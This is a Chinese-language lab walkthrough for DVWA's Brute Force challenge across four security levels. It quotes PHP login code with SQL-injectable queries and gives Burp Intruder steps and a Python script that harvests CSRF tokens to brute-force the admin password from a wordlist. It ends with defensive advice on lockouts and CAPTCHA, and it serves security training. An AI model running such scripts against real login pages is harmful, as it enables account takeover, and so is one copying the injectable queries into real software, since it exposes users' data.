DVWA 通关指南:Brute Force (爆破)
Brute Force (爆破)
Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password.
Users often choose weak passwords. Examples of insecure choices include single words found in dictionaries, family names, any too short password (usually thought to be less than 6 or 7 characters), or predictable patterns (e.g. alternating vowels and consonants, which is known as leetspeak, so "password" becomes "p@55w0rd").
密码破解是从计算机系统中存储或传输的数据中还原出密码的过程,一种常见的方法是反复尝试猜测密码,直到把正确的密码试出来。用户往往会设置弱密码,不安全选择的例子包括字典中的单字、姓氏、任何太短的密码(通常被认为少于6或7个字符)或可预测的模式(例如,交替的元音和辅音,称为 leetspeak,因此 “password” 变成了 p@55w0rd")。
Creating a targeted wordlists, which is generated towards the target, often gives the highest success rate. There are public tools out there that will create a dictionary based on a combination of company websites, personal social networks and other common information (such as birthdays or year of graduation).
A last resort is to try every possible password, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always be successful since the rules for acceptable passwords must be publicly known; but as the length of the password increases, so does the number of possible passwords making the attack time longer.
创建一个面向目标的字典来重复测试,通常会获得最高的成功率,有一些公共工具可以根据公司网站、个人社交网络和其他常见信息(如生日或毕业年份)创建词典。最后的办法是尝试所有可能的密码,即暴力攻击。理论上如果不限制尝试次数,暴力攻击总是成功的,因为可接受密码的规则必须是公开的;但是随着密码长度的增加,可能的密码数量也会增加,使得攻击时间更长。
Your goal is to get the administrator’s password by brute forcing. Bonus points for getting the other four user passwords!
Low Level
The developer has completely missed out any protections methods, allowing for anyone to try as many times as they wish, to login to any user without any repercussions.
开发人员完全忽视了任何保护方法,允许任何人尝试多次任意访问,可以在没有任何影响的情况下对任意用户进行登录。
源码审计
源码如下,代码将获取用户输入的用户名和密码并将其进行 md5 加密,然后使用 SQL SELECT 语句进行查询。由于进行了 md5 加密,因此直接阻止了 SQL 注入,因为经过 md5 这种摘要算法之后 SQL 语句就会被破坏(不过这里用 SQL 注入可以登陆成功)。注意到此时服务器只是使用了 isset() 函数验证了参数 Login 是否被设置,参数 username、password 没有做任何过滤,更重要的是没有任何的防爆破机制。
<?php
if(isset($_GET['Login'])){
// Get username
$user = $_GET['username'];
// Get password
$pass = $_GET['password'];
$pass = md5($pass);
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if($result && mysqli_num_rows($result) == 1){
// Get users details
$row = mysqli_fetch_assoc($result);
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else{
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
渗透方法
使用管理员用户 admin 登录,密码随便输入,提示密码错误。
打开 burp 抓包,然后把包发送给测试器,选择 password 为有效负载,在狙击手模式下进行攻击。若无法抓本地的包,参考这篇博客解决。
使用字典进行爆破,等上一会儿就能爆破出密码,使用爆破出的密码就能登录。
Medium Level
This stage adds a sleep on the failed login screen. This mean when you login incorrectly, there will be an extra two second wait before the page is visible.This will only slow down the amount of requests which can be processed a minute, making it longer to brute force.
此阶段在验证失败的登录屏幕上添加睡眠,这意味着当您登录不正确时,在页面可见之前将有额外的两秒钟等待。这只会减慢一分钟内可处理的请求量,使暴力攻击的时间更长。
源码审计
源码如下,Medium 级别的代码主要增加了 mysql_real_escape_string 函数,该函数会对字符串中的特殊符号进行转义,从而对用户输入的参数进行了简单的过滤。相比 low 级别的代码,当登录验证失败时界面将冻结 2 秒,从而影响了爆破操作的效率,不过如果是一个闲来无事并且很有耐心的白帽黑客,爆破出密码仍然是时间问题。
<?php
if(isset($_GET['Login'])){
// Sanitise username input
$user = $_GET['username'];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5($pass);
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die('<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>');
if($result && mysqli_num_rows($result) == 1){
// Get users details
$row = mysqli_fetch_assoc($result);
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep(2);
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
攻击方式
和 low 级别一样,还是用 Brup 抓包后爆破即可,只是因为每次测试都要等上 2 秒,需要等稍长的时间而已。
High Level
There has been an "anti Cross-Site Request Forgery (CSRF) token" used. There is a old myth that this protection will stop brute force attacks. This is not the case. This level also extends on the medium level, by waiting when there is a failed login but this time it is a random amount of time between two and four seconds. The idea of this is to try and confuse any timing predictions.Using a CAPTCHA form could have a similar effect as a CSRF token.
开发者使用了 “CSRF” 的反伪造请求,有一个旧的说法表示这种保护可以阻止暴力攻击,但事实并非如此。这个级别也扩展了中等级别,在登录失败时等待,但这次是 2 到 4 秒之间的随机时间,这样做的目的是试图混淆任何时间预测。使用验证码表单可能会产生与 CSRF 令牌类似的效果。
源码审计
High 级别的代码使用了stripslashes 函数,进一步过滤输入的内容。同时使用了 Token 抵御 CSRF 攻击,在每次登录时网页会随机生成一个 user_token 参数,在用户提交用户名和密码时要对 token 进行检查再进行 sql 查询。
<?php
if(isset($_GET['Login'])){
// Check Anti-CSRF token
checkToken($_REQUEST['user_token'], $_SESSION[ 'session_token' ], 'index.php');
// Sanitise username input
$user = $_GET['username'];
$user = stripslashes($user);
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET['password'];
$pass = stripslashes($pass);
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5($pass);
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if($result && mysqli_num_rows( $result ) == 1){
// Get users details
$row = mysqli_fetch_assoc($result);
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else{
// Login failed
sleep(rand(0, 3));
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
我们来写一段 Python 脚本把网页爬下来看看,脚本如下观察到 user_token 参数确实是每次提交都是不一样的。
import requests
from bs4 import BeautifulSoup
r = requests.get("http:(DVWA 的 url)?username=admin&password=123&Login=Login&user_token=2e7b48d4765d38973ef827ee9786a05e#")
demo = r.text
soup = BeautifulSoup(demo,'html.parser')
print(soup.prettify())
攻击方式
由于 user_token 参数值是网页实时生成的,因此我们不能直接选择 password 的参数值进行爆破,而是应该先提取需要提交的 user_token 参数再来进行爆破。所以渗透的思路是,先把网页爬下来提取 user_token 的参数值,然后再每次爆破时夹带变化的 user_token 值进行测试。
比较好的选择是用 Python 写个脚本,首先建立个字典对象,里面用键值对预存一些 HTTP 包的字段值。将 Python 网络爬虫的 requests 和 BeautifulSoup 库包含进来,先用 requests 把网页爬下来,然后用 BeautifulSoup 库提取 user_token 的值。最后写个循环,把提取下来的 user_token 和已经准备好的字典上交,根据爬取页面的返回的文本总长度来判断是否是需要的密码。
import requests
from bs4 import BeautifulSoup
header = { #HTTP 包的一些头,加上自己的字段值
'Host': '',
'User-Agent': '',
'Accept': '',
'Accept-Language': '',
'Accept-Encoding': '',
'Connection': '',
'Referer': '',
'Cookie': ''
}
url = "" #DVWA 靶场的 Brute Force 页面的 URL
def get_token(url,header): #输出上一次爆破的结果,并提取下一个 user_token
r = requests.get(url = url,headers = header) #爬取页面
print (r.status_code,len(r.text)) #判断是否成功爬取,及其返回页面的文本长度
soup = BeautifulSoup(r.text,"html.parser") #用 BeautifulSoup 库清洗返回的 HTML
input = soup.form.select("input[type = 'hidden']") #在 HTML 中查找字符串,返回一个 list
user_token = input[0]['value'] #获取用户的 token
return user_token
user_token = get_token(url,header) #第一次爆破
num = 1
for line in open("爆破字典.txt"): #导入爆破用的字典
url = "http:(页面的 URL)?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
print (num , 'admin' ,line.strip(),end = " ")
num = num + 1
user_token = get_token(url,header)
例如这个是我用我生成的字典进行爆破的结果,观察到第 5 次爆破返回的 HTML 长度与其他的都不同,说明它就是我们想要的密码。
Impossible Level
Brute force (and user enumeration) should not be possible in the impossible level. The developer has added a "lock out" feature, where if there are five bad logins within the last 15 minutes, the locked out user cannot log in.
暴力(和用户枚举)不应该在该级别的代码上实现,开发人员增加了一个“锁定”功能,如果在过去 15 分钟内有5次错误登录,被锁定的用户将无法登录。
If the locked out user tries to login, even with a valid password, it will say their username or password is incorrect. This will make it impossible to know if there is a valid account on the system, with that password, and if the account is locked.
如果被锁定的用户试图登录,即使使用了有效的密码,也会显示他们的用户名或密码不正确。这将使我们无法知道系统上是否有一个有效的帐户、密码以及该帐户是否被锁定。
This can cause a "Denial of Service" (DoS), by having someone continually trying to login to someone's account. This level would need to be extended by blacklisting the attacker (e.g. IP address, country, user-agent).
这可能会导致“拒绝服务”(DoS),因为有人不断尝试登录某人的帐户,因此需要通过将攻击者列入黑名单(例如 IP 地址、国家/地区、用户代理)来扩展此级别。
<?php
if(isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password'])){
// Check Anti-CSRF token
checkToken($_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php');
// Sanitise username input
$user = $_POST['username'];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST['password'];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if($timenow < $timeout) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if(($data->rowCount() == 1) && ($account_locked == false)){
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare('UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;');
$data->bindParam(':user', $user, PDO::PARAM_STR);
$data->execute();
} else {
// Login failed
sleep(rand( 2, 4 ));
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare('UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;');
$data->bindParam(':user', $user, PDO::PARAM_STR);
$data->execute();
}
// Set the last login time
$data = $db->prepare('UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;');
$data->bindParam(':user', $user, PDO::PARAM_STR);
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
总结与防御
由于服务器没有对用户的输入次数进行限制,导致攻击者可以利用爆破的手段来进行攻击,通过穷举法将用户名、密码等信息爆出来。当攻击者结合社会工程学生成了庞大的字典时,爆破攻击的可能性将会被增大。对于爆破漏洞,开发者可以对用户的登陆次数设置阈值,当某用户名表示的用户的登录次数在一定时间内超过阈值时,就暂时锁定用户。也可以进行 IP 检测,如果某个 IP 的登录次数超过阈值也可以锁定 IP。当然还有一种我们熟悉的方式,就是设置只有人可以通过验证的验证码或者是其他的验证手法,来保证进行登录操作的是人而不是机器。